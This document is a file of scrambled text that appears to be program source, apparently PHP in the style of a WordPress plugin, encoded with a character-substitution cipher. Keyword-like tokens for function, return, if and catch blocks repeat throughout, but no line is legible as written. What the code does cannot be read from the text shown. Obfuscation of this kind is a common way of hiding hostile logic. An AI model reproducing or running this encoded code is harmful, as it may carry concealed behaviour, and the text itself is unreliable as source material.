JFG]@G\L####	T	JH]JA		lQJLY]@FG		E]GYK]v 			R#			JFG]@G\L#T#		[@SJ_CSFAXGMQvQrt						YCOFJFCO\##					T#	~y	aFDL	e@GB	][HJL	MFD@GH]F[][LL##			[L]\[G	[@SJ_CSFAXGMQvQ##	T#O\GJ]@FG	[PS]@QGJKA[Yv@NYAOBHL #	R#		][P	R#			#@O			LDY]P@NYAOBHL  			R###			[L]\[G		OHEZLS_J\OvZ@@^K@AFHHS_J\OvZ#			T###	QvL@DHL^QL					QFQOCNJMDA ####					@O		LDY]PQvL@DHL^QL  					R#	EFJB	JFGZ][H@G]ZL]	OF[	~y	yFZ]	}@]EL##		[L]\[G					OHEZL#	T#					_]PJ\SGZNYM				OHEZL#				OF[LHJA		QvL@DHL^QL	HZ	JFE^SQLEHF 			R#		#		@O		iKKAEPBMEYMGE JFE^SQLEHF 			UU						iSPDBZLLFM] JFE^SQLEHF  	R#JFG]@G\L#		T##							@O	iKKAEPBMEYMGE JFE^SQLEHF 							  	R#JFG]@G\L###				T#_N@]LYAZvQA				i@N[KMFGKOJZ JFE^SQLEHF #			@O		_N@]LYAZvQA		UU			KKAEPBMEYMGE _N@]LYAZvQA  	R#JFG]@G\L#				##				T#	#			NKQ[LX_[JP		OHEZL####	OF[LHJA	@NYAOBHL	HZ		Z@LvvQvLJ 		R#][P		R##			####S@SME\KMH@						iKKAEPBMEYMGE Z@LvvQvLJ				_N@]LYAZvQA #	@O					S@SME\KMH@					G\EE									S@SME\KMH@				_N@]LYAZvQA 		R#		_N@]LYAZvQA						S@SME\KMH@[B^@YCJYMO_EH^PZH[B^@YC [B^@YC[B^@YC#		NKQ[LX_[JP		][\L#			T#	~F[My[LZZ		KEFJB	K@GM@GNZ	@G]L[[\Y]	ML[@_H]@FG##						T	JH]JA				}A[F^HKEL			E]GYK]v 	R#			FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 					E]GYK]v #JFG]@G\L#							T	JH]JA	lQJLY]@FG		E]GYK]v 		R#	~y	gH_@NH]@FG	kEFJB	GFGJL	_HE@MH]@FG##		JFG]@G\L#			T#		T#		#			@O	NKQ[LX_[JP 				R#@O		ZKXOKS\JGG_ZQC@QYJFE^SQLEHF	_N@]LYAZvQA  					R#_]PJ\SGZNYM					][\L#		T#		T##			T#			#[L]\[G		_]PJ\SGZNYM##							T	JH]JA			}A[F^HKEL	E]GYK]v 	R#	Y[@DH[P	M@[LJ]F[	##FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	E]GYK]v ###T	JH]JA	lQJLY]@FG					E]GYK]v 		R#			T#	ZLZX\@E@GLH[	[L][PYFE@JP	##		[L]\[G	OHEZL###						T#			#	O\GJ]@FG						FQZP^SKDDK\P[YBEB\JZ			DSEGQ[@J[ ####								R####						DLK^^CHLZXG				H[[HP #			DSEGQ[@J[				DSEGQ[@J[					#								#				NOGOQSYBC\M]			i@N[KMFGKOJZ [YBEB\JZ B\^XJNOA@YZKAJH_AJL]B\^XJNOA@Y#	@O				@^v_XSYHPXKSN NOGOQSYBC\M]  	R###[L]\[G		DLK^^CHLZXG#				T#					NOGOQSYBC\M]						SPDBZLLFM] NOGOQSYBC\M]				QJQ  ###		#			OF[LHJA		NOGOQSYBC\M]		HZ	SNMHJKG]OP 			R#####			@O		SNMHJKG]OP						UU					SNMHJKG]OP					KKAEPBMEYMGE  				R#			JFG]@G\L#						T####	OH]@BBD			[YBEB\JZ											SNMHJKG]OP#					@O							i@N[KMFGKOJZ OH]@BBD  			R#			JFG]@G\L#	T#			#		@O		iKKAEPBMEYMGE OH]@BBD						KKAEPBMEYMGE   			R####					DLK^^CHLZXGrt		@^v_XSYHPXKSN OH]@BBD				@N[KMFGKOJZ  #JFG]@G\L#					T#						####			@O	DSEGQ[@J[						 			R##						DLK^^CHLZXG						@N[KMFGKOJZ DLK^^CHLZXG			FQZP^SKDDK\POH]@BBD						DSEGQ[@J[  #							T#			T#	#						[L]\[G	DLK^^CHLZXG#			T#	O\GJ]@FG				HYPJZDP@@_^ #			R#	[^KXEKX_MEF					H[[HP ###ZKS]Z]AJY@G]O						SPDBZLLFM] hkzyh}a	SPDBZLLFM]  #			][P		R#			EMYS\]\YGZM						H[[HP #	@O	ZKS]Z]AJY@G]O 	R#EMYS\]\YGZMrt							KKAEPBMEYMGE ZKS]Z]AJY@G]O #					EMYS\]\YGZMrt		SPDBZLLFM] @^v_XSYHPXKSN ZKS]Z]AJY@G]O  ####						EMYS\]\YGZMrt			SPDBZLLFM] KKAEPBMEYMGE SPDBZLLFM] ZKS]Z]AJY@G]O   #T###	#	EMYS\]\YGZMrt				KKAEPBMEYMGE #	EMYS\]\YGZMrt					SPDBZLLFM] #	EMYS\]\YGZMrt			KKAEPBMEYMGE #EMYS\]\YGZMrt				@N[KMFGKOJZ #				EMYS\]\YGZMrt				@N[KMFGKOJZ #							EMYS\]\YGZMrt								@N[KMFGKOJZ ##EMYS\]\YGZMrt		KKAEPBMEYMGE ##						#		JB\JYMBQvH[					SPDBZLLFM] @^v_XSYHPXKSN  					Z][@GN 			i@^v_XSYHPXKSN SPDBZLLFM]  		#			@O			JB\JYMBQvH[					 					R#	NEZ@XH@Q				@^v_XSYHPXKSN JB\JYMBQvH[			 				OHEZL 														#	OF[LHJA		@^v_XSYHPXKSN NEZ@XH@Q		JB\JYMBQvH[ 		HZ	OEKOHSDG@[F 			R#	OEKOHSDG@[F							KKAEPBMEYMGE OEKOHSDG@[F #@O	OEKOHSDG@[F							 	R#				EMYS\]\YGZMrt						OEKOHSDG@[F#						T#	T#							T#	#				EMYS\]\YGZM		KKAEPBMEYMGE @N[KMFGKOJZ EMYS\]\YGZM  #						YFY]@HJZE								SPDBZLLFM] ][\L ##					[^KXEKX_MEF				H[[HP vDYKJYKUAJAPZAGHvDYKJYKw#						#OF[LHJA			EMYS\]\YGZM		HZ				[YBEB\JZ 				R#		#	@O						iKKAEPBMEYMGE [YBEB\JZ 		UU		i@N[KMFGKOJZ [YBEB\JZ  		R#			JFG]@G\L#T###@O		KKAEPBMEYMGE ][\L 		YFY]@HJZE 					QQ  			R#	K[LHB#		T#	####					[^KXEKX_MEF			KKAEPBMEYMGE [^KXEKX_MEF				FQZP^SKDDK\P[YBEB\JZ	  GZN@MHK]QLQ B_OJPCDGZN@MHK]#		T###T				JH]JA					}A[F^HKEL			E]GYK]v 	R#	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #	T				JH]JA		lQJLY]@FG		E]GYK]v 			R@CZKKAyayvdhcf{vl{z`fgZCZXAvvJPv@CZKKA##			T#		#		[L]\[G	KKAEPBMEYMGE SPDBZLLFM] [^KXEKX_MEF 				H[[HPZKS]Z]AJY@G]O  #		##			T#	O\GJ]@FG			SQCF@[_[HGAEGNZNLJNSXQQYJ #				R#			][P			R#S\NF^AJ]DFPKGCL			H[[HPZNLJNSXQQYJ						KKAEPBMEYMGE 	ZNLJNSXQQYJ					@N[KMFGKOJZ  #OF[LHJA					S\NF^AJ]DFPKGCL		HZ		[YBEB\JZ 	R#@O								i@^v_XSYHPXKSN [YBEB\JZ  	R#				JFG]@G\L#T#				PHLLHZ@S					\Z\AGLAZAHZXB\[YBEB\JZ #						@O		@^v_XSYHPXKSN PHLLHZ@S  				RAABA\vDCJHQOQK SZHHYBSKFAABA\vDCJH#	JFG]@G\L#		T#						OF[LHJA	PHLLHZ@S	HZ					E]GYK]v 		R#		@O					@N[KMFGKOJZ E]GYK]v				  						KKAEPBMEYMGE 								QL@vJL^E^ZMBO_[YBEB\JZ												E]GYK]v	   		R##			[L]\[G	][\L#	T#		T#	OF[LHJA	PHLLHZ@S				HZ	E]GYK]v 		R#		YvLBXDEQ[Z[								[YBEB\JZ							E]GYK]v###			@O		i@^v_XSYHPXKSN YvLBXDEQ[Z[  		R#			JFG]@G\L##		T#			JL@OQND_						\Z\AGLAZAHZXB\YvLBXDEQ[Z[ #		@O					KKAEPBMEYMGE JL@OQND_  					R#JFG]@G\L#			T#		OF[LHJA						JL@OQND_		HZ	MLXDFHODDKY 			R#@O	@N[KMFGKOJZ MLXDFHODDKY	QQ  			@N[KMFGKOJZ 				QL@vJL^E^ZMBO_YvLBXDEQ[Z[										MLXDFHODDKY		QKQM   		R####	[L]\[G	][\L#		T##	T#	T#T#		T			JH]JA	}A[F^HKEL				E]GYK]v 	R#	iZL[@HE@SL	HMHY]L[##		FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				E]GYK]v #T	JH]JA		lQJLY]@FG						E]GYK]v 			R##					T#						[L]\[G		OHEZL#			T#		O\GJ]@FG	OOY_CF@[Z@BO #R#			][P		R#	@O	SDLMOCK_]JSDN^[ZKLSD_   	[L]\[G#			###@O		NL]v][HGZ@LG]KKAEPBMEYMGE   			R#	[L]\[G###			T#	##				YEA^CJENGPQ						LSQQPGQ_@[D^ #		@O							YEA^CJENGPQ	UU	KKAEPBMEYMGE YEA^CJENGPQ 				  		R#			[L]\[G#		T#			@O				_SMG[M@XJvKJSK\YEA^CJENGPQ  				R#FBQKvM[JB\ZMHPE\@N[KMFGKOJZ 	KKAEPBMEYMGE  #			[L]\[G#T#	~y	yFZ]	}@]EL	LGHKEL	Y[FFO]L[D####[^KXEKX_MEF			HYPJZDP@@_^ ##				@O		LDY]P[^KXEKX_MEF  			R#			@O	NL]v][HGZ@LG]@^v_XSYHPXKSN   		R##	FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 				KKAEPBMEYMGE  #		ZL]v][HGZ@LG]SPDBZLLFM] 								QHHQ  #							T#								ZL]v][HGZ@LG]@^v_XSYHPXKSN 						  #				[L]\[G###					T##	ZM@Q@XZ\E						#			OF[LHJA	[^KXEKX_MEF					HZ		ZNLJNSXQQYJ 			R####		####@O			SQCF@[_[HGAEGNZNLJNSXQQYJ  		R#JFG]@G\L#	T#			#			BYMQFJC@HX^]							#		LLNM_ZDJA@QKC						ZNLJNSXQQYJ			@^v_XSYHPXKSN ##		@O	iKKAEPBMEYMGE LLNM_ZDJA@QKC 			iKKAEPBMEYMGE LLNM_ZDJA@QKC  		R#			LLNM_ZDJA@QKC							G\EE###	T			LEZL@O			i@N[KMFGKOJZ LLNM_ZDJA@QKC  					R####	vGQBQZEPNCOHHMLLNM_ZDJA@QKC	 		][\L ####T#			@O		LLNM_ZDJA@QKC			iKKAEPBMEYMGE LLNM_ZDJA@QKC 				UU				i@N[KMFGKOJZ LLNM_ZDJA@QKC   			R#							LLNM_ZDJA@QKC			G\EE#							T#@O			LLNM_ZDJA@QKC 	R####SOAGPK@SKZ				LLNM_ZDJA@QKC										@BZAN\Q\PQ@EXJP ###JP^[[LFH_MH				]ODXFFOB\PHLBFG^YEA^CJENGPQ #		PA_C\vG					]CMKXXQK@G\FHSOAGPK@SKZ		JP^[[LFH_MH		@^v_XSYHPXKSN  #			@O	PA_C\vG							PA_C\vG					@N[KMFGKOJZ JP^[[LFH_MH  			R###BYMQFJC@HX^]					SOAGPK@SKZ#			T#					T#							##						@O			BYMQFJC@HX^] 			R#					[ZGFJ]D^_C^XQ			SPDBZLLFM] @BZAN\Q\PQ@EXJP 	yh}a`gofvo`elghdl #			JvPv[PF\LS					ZNLJNSXQQYJ					KKAEPBMEYMGE 		[ZGFJ]D^_C^XQ#@O								iKKAEPBMEYMGE JvPv[PF\LS  		R#	vGQBQZEPNCOHHMJvPv[PF\LS	 					][\L #		T#							SOAGPK@SKZ					JvPv[PF\LS							@BZAN\Q\PQ@EXJP #				JP^[[LFH_MH							]ODXFFOB\PHLBFG^YEA^CJENGPQ #						PA_C\vG				]CMKXXQK@G\FHSOAGPK@SKZ			JP^[[LFH_MH				SPDBZLLFM]  #			##					@O					PA_C\vG					PA_C\vG					@^v_XSYHPXKSN JP^[[LFH_MH  				R#BYMQFJC@HX^]							SOAGPK@SKZ##KHZLGHDL								[ZGFJ]D^_C^XQ											@BZAN\Q\PQ@EXJP ###		AD^HCFY@Y_]XZNLJNSXQQYJ					KHZLGHDL #				T#			T#	@O		BYMQFJC@HX^] 				R#	JFG]@G\L#	T#LCEBMJ]BEBYMQFJC@HX^] #		XX]L[vEYC^\OZSZ_@JLBYMQFJC@HX^]			QQK  ###		ZM@Q@XZ\E#T####						@O		ZM@Q@XZ\E		 		R#		ZL]v][HGZ@LG]@N[KMFGKOJZ 				QOOQOK  #	T						LEZL				R#						ZL]v][HGZ@LG]KKAEPBMEYMGE 							  #			T##						T			JH]JA		}A[F^HKEL				E]GYK]v 				R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 			E]GYK]v #T		JH]JA			lQJLY]@FG				E]GYK]v 		R#T#		T#			O\GJ]@FG	AD^HCFY@Y_]XZNLJNSXQQYJ		KHZLGHDL #R#							][P		R####	@KK]HX_LGK							ZNLJNSXQQYJ							SPDBZLLFM] #				@O			iKKAEPBMEYMGE @KK]HX_LGK  	R#				@KK]HX_LGK						KKAEPBMEYMGE ZNLJNSXQQYJ 					@N[KMFGKOJZ #					@O				iKKAEPBMEYMGE @KK]HX_LGK  			R#				[L]\[G#				T#				T###	@DZNOYA					i@^v_XSYHPXKSN @KK]HX_LGK #@O			@DZNOYA 				R#			[L]\[G#		T#	YK[vLOSOH								#Y[LO@Q		###								@O	KKAEPBMEYMGE SPDBZLLFM] 			@DZNOYA			_CZDGOY  	RE_AKO@QGUPQv^EvSO\vE_AKO@QGw##YK[vLOSOH				_CZDGOYrt#	T#@O	SPDBZLLFM] @^v_XSYHPXKSN 			@DZNOYA			_CZDGOY  		R#				Y[LO@Q								_CZDGOYrt#T#		@O						YK[vLOSOH		UU							Y[LO@Q						UU		@^v_XSYHPXKSN SPDBZLLFM] 				Y[LO@Q  				R#		[L]\[G##						T###^YMK					nefkhezr@^v_XSYHPXKSN t#				@O								SPDBZLLFM] ^YMK 		UU			@N[KMFGKOJZ ^YMK		@N[KMFGKOJZ   			R#						[L]\[G#T#@O							KKAEPBMEYMGE @N[KMFGKOJZ 					YK[vLOSOH  			R#	FBQKvM[JB\ZMHPE\SPDBZLLFM] 		KKAEPBMEYMGE  #	[L]\[G####	T#								F]X_PNBXG_\					I						YK[vLOSOH					@N[KMFGKOJZ 			Y[LO@Q			SPDBZLLFM] #			^YMKX\L[P@^v_XSYHPXKSN  #		O][DHFCZ					^YMKNL]v_H[z				KKAEPBMEYMGE 					F]X_PNBXG_\				KKAEPBMEYMGE 						@^v_XSYHPXKSN 								@N[KMFGKOJZ  #						@O			O][DHFCZ					G\EE 	R#^YMKX\L[P@N[KMFGKOJZ  #			[L]\[G##				T#							MHK_[YGZ]					_DvHZH]JX\HO][DHFCZ #	@O					@N[KMFGKOJZ MHK_[YGZ]  	R####					^YMKX\L[P@^v_XSYHPXKSN  #[L]\[G#	T#@O			SPDBZLLFM] KHZLGHDL		MHK_[YGZ]	][\L  	R#	^YMKX\L[P@N[KMFGKOJZ  #				[L]\[G#T##					MHK_[YGZ]rt			KHZLGHDL##			MHK_[YGZ]							@N[KMFGKOJZ MHK_[YGZ] #						]MCS@DLPNC				KKAEPBMEYMGE MHK_[YGZ] #	PJBvH[vX^HS[				^YMKX\L[P^YMKY[LYH[L|								@N[KMFGKOJZ 							F]X_PNBXG_\							@^v_XSYHPXKSN 				@^v_XSYHPXKSN 	]MCS@DLPNC  ####	@O	PJBvH[vX^HS[					OHEZL 		R####FBQKvM[JB\ZMHPE\SPDBZLLFM] 				@^v_XSYHPXKSN  #^YMKX\L[PSPDBZLLFM]  ###[L]\[G#	T#		^YMKX\L[PKKAEPBMEYMGE  #					T				JH]JA	}A[F^HKEL			E]GYK]v 		R#							FBQKvM[JB\ZMHPE\SPDBZLLFM] 		E]GYK]v #				@O		KKAEPBMEYMGE nefkhezrSPDBZLLFM] t  			R#	inefkhezrSPDBZLLFM] tX\L[PSPDBZLLFM]  #	T#	T		JH]JA		lQJLY]@FG		E]GYK]v 				R###						FBQKvM[JB\ZMHPE\KKAEPBMEYMGE 		E]GYK]v #			@O		SPDBZLLFM] nefkhezr@^v_XSYHPXKSN t  			R#inefkhezrKKAEPBMEYMGE tX\L[PKKAEPBMEYMGE  #							T#			T###		T#		O\GJ]@FG			CSLCF_@vP #			R#			Z]H]@J		@DZNOYA			G\EE#	@O	@DZNOYA						G\EE 		[L]\[G		@DZNOYA#			@O		@^v_XSYHPXKSN @^v_XSYHPXKSN   		R#@DZNOYA							ZOLOYP]UJLZKLED__ZOLOYP]w#				[L]\[G		@DZNOYAQFNMCCyayv`g}vdhqyayv`g}vdhqM@[@S_D_QFNMCC##				T#@DZNOYA									iNS@GOEH]L@^v_XSYHPXKSN @^v_XSYHPXKSN   ##			@O		@N[KMFGKOJZ @DZNOYA 						UU		@^v_XSYHPXKSN @DZNOYA 					  		@DZNOYA					#	[L]\[G	@DZNOYA#			T#	O\GJ]@FG	@^GBKCFKEYM #			R##][P			R#@O	MLO@GLMKKAEPBMEYMGE   	[L]\[G#M_XXHYC^C_SP							SPDBZLLFM] [ZKLSD_ 					KKAEPBMEYMGE  #	XONOYOA[[							FZLYYKLLEQ[\Ahkzyh}a			KKAEPBMEYMGE 				  					SPDBZLLFM] #YGKBX]CM			FZLYYKLLEQ[\Ahkzyh}a				@N[KMFGKOJZ 			w  #XJCGSNSZBHDSK						@^v_XSYHPXKSN @N[KMFGKOJZ  			JFG]LG]v\[E 				#		@O			XJCGSNSZBHDSK						 				R#								XJCGSNSZBHDSK					@^v_XSYHPXKSN SPDBZLLFM]  				NL]vZ@]Lv\[E 					 							@N[KMFGKOJZ #	T#	YH[HEELE@SL	JFDDHGM	OF[	dPzxe	^@GMF^	O\GJ]@FGZ##	LSM@L_PP							@N[KMFGKOJZ @^v_XSYHPXKSN 				SPDBZLLFM] 	XJCGSNSZBHDSK																	XONOYOA[[ #					@O		@N[KMFGKOJZ LSM@L_PP		KKAEPBMEYMGE  			 	LSM@L_PP				@^v_XSYHPXKSN 			KKAEPBMEYMGE LSM@L_PP	 #				HYPOH]YCJ									@N[KMFGKOJZ @N[KMFGKOJZ  			AFDLv\[ESPDBZLLFM] 				^vGQONZLKGDBvKKAEPBMEYMGE   			#			@O					HYPOH]YCJ								 			HYPOH]YCJ				@^v_XSYHPXKSN 											^NSJYZ_PLBFXKO 		@N[KMFGKOJZ 			^vGQONZLKGDBv@^v_XSYHPXKSN  #@O	@N[KMFGKOJZ HYPOH]YCJ				KKAEPBMEYMGE  			 	HYPOH]YCJ						@^v_XSYHPXKSN 				@N[KMFGKOJZ @^v_XSYHPXKSN KKAEPBMEYMGE 											HYPOH]YCJ 				 #	NGCCPSX@F				@ZZL]nefkhezr@^v_XSYHPXKSN t 				KKAEPBMEYMGE nefkhezr@N[KMFGKOJZ t 			nefkhezr@^v_XSYHPXKSN t					#					@O		KKAEPBMEYMGE NGCCPSX@F 								  		R#						NGCCPSX@F						FMQHASYASG@v@^v_XSYHPXKSN 		 #T#		@O				@N[KMFGKOJZ NGCCPSX@F 									w  		R#		NGCCPSX@F					CSLCF_@vP ####				T#@YAvQO_P_Sv		#					@O		@ZZL]nefkhezrKKAEPBMEYMGE t 					@N[KMFGKOJZ nefkhezrKKAEPBMEYMGE t 				@^v_XSYHPXKSN nefkhezr@N[KMFGKOJZ t 								  	R#			@YAvQO_P_Sv							nefkhezr@^v_XSYHPXKSN t#				T			LEZL	R#			@YAvQO_P_Sv							FMQHASYASG@v@^v_XSYHPXKSN 		 ###		T#	]PYL	DH]JA@GN##			@O	SPDBZLLFM] @YAvQO_P_Sv 									  	R#	CSvEESS]PSH[M^GBD_KKAEPBMEYMGE 	@YAvQO_P_Sv	@N[KMFGKOJZ  #				T#		YQHMCZPXHGFN				KKAEPBMEYMGE KKAEPBMEYMGE  				Z][@GN 	@^v_XSYHPXKSN AFDLv\[E 				yayv|{evyh}a 						#				@O		YQHMCZPXHGFN				 		YQHMCZPXHGFN				#@O	@^v_XSYHPXKSN YQHMCZPXHGFN		 				 	YQHMCZPXHGFN					#		X@YJGY[[Z				H[[HP#								@N[KMFGKOJZ 				GGLDGXPF^PLBHN^C ##@N[KMFGKOJZ 			XANv\LXY__PKOA ####			KKAEPBMEYMGE 								YQHMCZPXHGFN# ##	\BDG\^C_OZ						H[[HP#			@N[KMFGKOJZ 				LSM@L_PP#	KKAEPBMEYMGE 					M_XXHYC^C_SP###			KKAEPBMEYMGE 						HYPOH]YCJ##		KKAEPBMEYMGE 					FZLYYKLLEQ[\Ahkzyh}a									@N[KMFGKOJZ 				w  #	@N[KMFGKOJZ 				@YAvQO_P_Sv#		 #	SMG^]v[AQF			AK@\_C^N^\[SGBvvQ@N[KMFGKOJZ 	 #			@O		@^v_XSYHPXKSN SMG^]v[AQF 		UU				SPDBZLLFM] SMG^]v[AQF 		 			R##	[L]\[G#		T#								L_MQMFBSCQMO					@N[KMFGKOJZ SSZXS^KZAAPQLL@v@N[KMFGKOJZ \BDG\^C_OZ 	SMG^]v[AQF  #CZDP_^ZNO[[						SPDBZLLFM] 							KKAEPBMEYMGE SPDBZLLFM] X@YJGY[[Z  				@N[KMFGKOJZ #		CZDP_^ZNO[[				KKAEPBMEYMGE 		L_MQMFBSCQMO					KKAEPBMEYMGE #			CSvEESS]PSH[M^GBD_SPDBZLLFM] 	CZDP_^ZNO[[				@^v_XSYHPXKSN  #CSvEESS]PSH[M^GBD_@N[KMFGKOJZ 					@N[KMFGKOJZ Z][@GN 			NGCCPSX@F				Z][@GN 		@YAvQO_P_Sv				SMG^]v[AQF									U				KKAEPBMEYMGE ^NSJYZ_PLBFXKO   			KKAEPBMEYMGE  #			MJKM\LCKAOJD^											@N[KMFGKOJZ @N[KMFGKOJZ  					AFDLv\[E@^v_XSYHPXKSN 									^vGQONZLKGDBv@N[KMFGKOJZ   						#@O	MJKM\LCKAOJD^						 			MJKM\LCKAOJD^						KKAEPBMEYMGE 					^NSJYZ_PLBFXKO 				SPDBZLLFM] 					^vGQONZLKGDBvSPDBZLLFM]  #				@O			KKAEPBMEYMGE MJKM\LCKAOJD^			@^v_XSYHPXKSN  						 		MJKM\LCKAOJD^					@^v_XSYHPXKSN 					KKAEPBMEYMGE @N[KMFGKOJZ @N[KMFGKOJZ 			MJKM\LCKAOJD^ 		 #	CSvEESS]PSH[M^GBD_SPDBZLLFM] 						MJKM\LCKAOJD^			@N[KMFGKOJZ  ###	@O		KKAEPBMEYMGE NGCCPSX@F 						QQM  		R#[L]\[G#					T#CSvEESS]PSH[M^GBD_SPDBZLLFM] 		NGCCPSX@F		KKAEPBMEYMGE  #@O					HNA_P@GZGMN  				[L]\[G##					LCB\LSHJLG[O				^D]]OFPX_KGKN@ #			@O			i@N[KMFGKOJZ LCB\LSHJLG[O  	vGQBQZEPNCOHHMLCB\LSHJLG[O				 	][\L #@O	i@N[KMFGKOJZ LCB\LSHJLG[O 	UU					iKKAEPBMEYMGE LCB\LSHJLG[O  	[L]\[G#	J[JHAXLJ		LCB\LSHJLG[O										YGKBX]CM					@N[KMFGKOJZ GGBFZXDFECUBBAME_SF]MOQGGBFZXDFECw#	]YFZDG			GvOZDJCMQLYAvYLO###		@^v_XSYHPXKSN #			H[[HPvvze|nvv	vvs`yvghdlvv			vv~{`}lvblpvv			vvl{z`fgvv ###H[[HPM_XXHYC^C_SP		XONOYOA[[		FZLYYKLLEQ[\Ahkzyh}a						KKAEPBMEYMGE 		  	^NKBHS]S^NFHGH^O]  ###		 #				@O	]YFZDG 					R#			@O	@G] 	NL]vFY]@FGKKAEPBMEYMGE 	 								 			FBQKvM[JB\ZMHPE\SPDBZLLFM] 	@N[KMFGKOJZ  #	[L]\[G####				T#	@O						iKKAEPBMEYMGE J[JHAXLJ 	UU			@^v_XSYHPXKSN C^v@Z@\@ACBCLZ][@GN 				iSPDBZLLFM] J[JHAXLJ   				@N[KMFGKOJZ ]YFZDG  	R#				]CMKXXQK@G\FHJ[JHAXLJ			]YFZDG		KKAEPBMEYMGE  #		JBA\G@vQJPN]M]J[JHAXLJ	^ASQ\PAL\@O  ##	XX]L[vEYC^\OZSZ_@JLJ[JHAXLJ	QLQKJ  ##		EHOBPA]OAvHJ[JHAXLJ #			T#					T			JH]JA		}A[F^HKEL		E]GYK]v 	R#		FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 	E]GYK]v #					T		JH]JA	lQJLY]@FG	E]GYK]v 			R#		T#T#O\GJ]@FG			GvOZDJCMQLYAvYLOBLP	MQSDD@ZBC			FFGG]XCZDPLP] #				R#	vNDDQANQAC]^F								G\EE##			@O						vNDDQANQAC]^F							G\EE 			R#		vNDDQANQAC]^F			@^v_XSYHPXKSN @N[KMFGKOJZ  				NL]v][HGZ@LG]HZZ[vN@S@BZX  					OHEZL#		@O			@N[KMFGKOJZ vNDDQANQAC]^F  		R##		vNDDQANQAC]^F				HA@ZOGv_MX[HB_Q\@^v_XSYHPXKSN 	OHEZL #T#		@O					SPDBZLLFM] vNDDQANQAC]^F  	R#	vNDDQANQAC]^F					H[[HP #				T#	JALJBYF@G]	YFZ@]@_LMLO@G@]L	[LJF[MEHPL[##		T#J_@[BEONv_								#@O			@ZZL]vNDDQANQAC]^FrBLPt 							@^v_XSYHPXKSN vNDDQANQAC]^FrBLPt  	R#J_@[BEONv_				vNDDQANQAC]^FrBLPtSQEYKQB[S\X_P@@ZZSQEYKQB[#				T#			@O	@^v_XSYHPXKSN J_@[BEONv_ 			  						R###J_@[BEONv_				FMQHASYASG@vBLP	 #T###	@O	@^v_XSYHPXKSN J_@[BEONv_ 			QQM  		[L]\[G	OHEZL###]KD]PF\EJY			@N[KMFGKOJZ J_@[BEONv_	][\L #@O		]KD]PF\EJY		UU		KKAEPBMEYMGE ]KD]PF\EJY 							QQO  		[L]\[G					OHEZL###				@O		KKAEPBMEYMGE ]KD]PF\EJY					@N[KMFGKOJZ  				OHEZL 		[L]\[G	OHEZL#	]KD]PF\EJY							@N[KMFGKOJZ MQSDD@ZBC		FFGG]XCZDPLP]			]KD]PF\EJY #				@O			MLO@GLM@N[KMFGKOJZ   				R##		][P		R#					i]FBLGvNL]vHEE]KD]PF\EJY		}fblgvyh{zl #							T	JH]JA		}A[F^HKEL				E]GYK]v 		R#[L]\[G				OHEZL###			T			JH]JA			lQJLY]@FG	E]GYK]v 		R#[L]\[G	OHEZL##		T###	T		LEZL@O			_SMG[M@XJvKJSK\]KD]PF\EJY  	R#		[L]\[G	OHEZL#T#	[L]\[G		]KD]PF\EJY##	T#		O\GJ]@FG				SENDYMJ\^^CSHFB] ####		R#						][P					R#@O		KKAEPBMEYMGE SPDBZLLFM]   				[L]\[G#@O			MLO@GLM@N[KMFGKOJZ   	[L]\[G#BJPFCKKvFPK					H^SKX[@GYM_KEMSB #				@O				BJPFCKKvFPK 					R#			@^GBKCFKEYM #								BJPFCKKvFPK						H^SKX[@GYM_KEMSB #		T#KFN]]MJYZPP			FMQHASYASG@vKKAEPBMEYMGE 	 #						@O					@^v_XSYHPXKSN KFN]]MJYZPP 				 	KFN]]MJYZPP				SPDBZLLFM] uQ			  ####				K_GBPO]HLGJA								@ZZL]nefkhezrSPDBZLLFM] t 				@^v_XSYHPXKSN nefkhezr@^v_XSYHPXKSN t 								KKAEPBMEYMGE nefkhezr@^v_XSYHPXKSN t 			  					nefkhezrKKAEPBMEYMGE t				FMQHASYASG@v@^v_XSYHPXKSN 			 #@O		KKAEPBMEYMGE K_GBPO]HLGJA 										  		K_GBPO]HLGJA		CSLCF_@vP #		FGv_\vvX]JX						@ZZL]nefkhezrKKAEPBMEYMGE t 					KKAEPBMEYMGE nefkhezrSPDBZLLFM] t 				SPDBZLLFM] nefkhezrKKAEPBMEYMGE t 				w  				nefkhezr@N[KMFGKOJZ t				FMQHASYASG@vSPDBZLLFM] 		 #	S\YP__K		SPDBZLLFM] K_GBPO]HLGJA			FGv_\vvX]JX						KFN]]MJYZPP								U				SPDBZLLFM] ^NSJYZ_PLBFXKO   #				@O			FMQHASYASG@vKKAEPBMEYMGE 	 								S\YP__K 	R#						@^GBKCFKEYM #	BJPFCKKvFPK				H^SKX[@GYM_KEMSB #T#	@O	HNA_P@GZGMN  		[L]\[G#			_ONSMO			\PMXQZ\DMJ_]\OH ]HS[vQO@PGE[]SMPJ\]HS[vQO@#P[AvAPJHPF[				i@^v_XSYHPXKSN _ONSMO							KKAEPBMEYMGE  #	@O		P[AvAPJHPF[		BJPFCKKvFPK								NL]v][HGZ@LG]KKAEPBMEYMGE   				[L]\[G#	vGOEXYPM]YC #			GLZJ]Gv_SP #							\v\PN[@SA@L #	MCFNBJ_ZX			iSPDBZLLFM] _ONSMO			@^v_XSYHPXKSN  ###				BJPFCKKvFPK											H^SKX[@GYM_KEMSB #@O			MCFNBJ_ZX		BJPFCKKvFPK 		R#		ZL]v][HGZ@LG]@N[KMFGKOJZ 						QQM  #T##	T		JH]JA		}A[F^HKEL				E]GYK]v 	R#					FBQKvM[JB\ZMHPE\@^v_XSYHPXKSN 		E]GYK]v ###		T			JH]JA			lQJLY]@FG		E]GYK]v 		R#	Z][LZZ]LZ]	[LM\J]@FG	OF[	~y	o\EE	z@]L	lM@]@GN####T#T####	O\GJ]@FG	GLZJ]Gv_SP #			R##						][P	R#							@O			MLO@GLMSPDBZLLFM]   				[L]\[G#					@O		SPDBZLLFM]  		@N[KMFGKOJZ  		[L]\[G#			LNE@OEPSS[			@N[KMFGKOJZ @^v_XSYHPXKSN  		iSPDBZLLFM] SPDBZLLFM]  				OHEZL#				@O			LNE@OEPSS[			UU	LNE@OEPSS[						UU		LNE@OEPSS[			SPDBZLLFM]  	LNE@OEPSS[						@^v_XSYHPXKSN #		YGKBX]CM					FZLYYKLLEQ[\Ahkzyh}a							@^v_XSYHPXKSN 			w  #			_ONSMO							\PMXQZ\DMJ_]\OH #L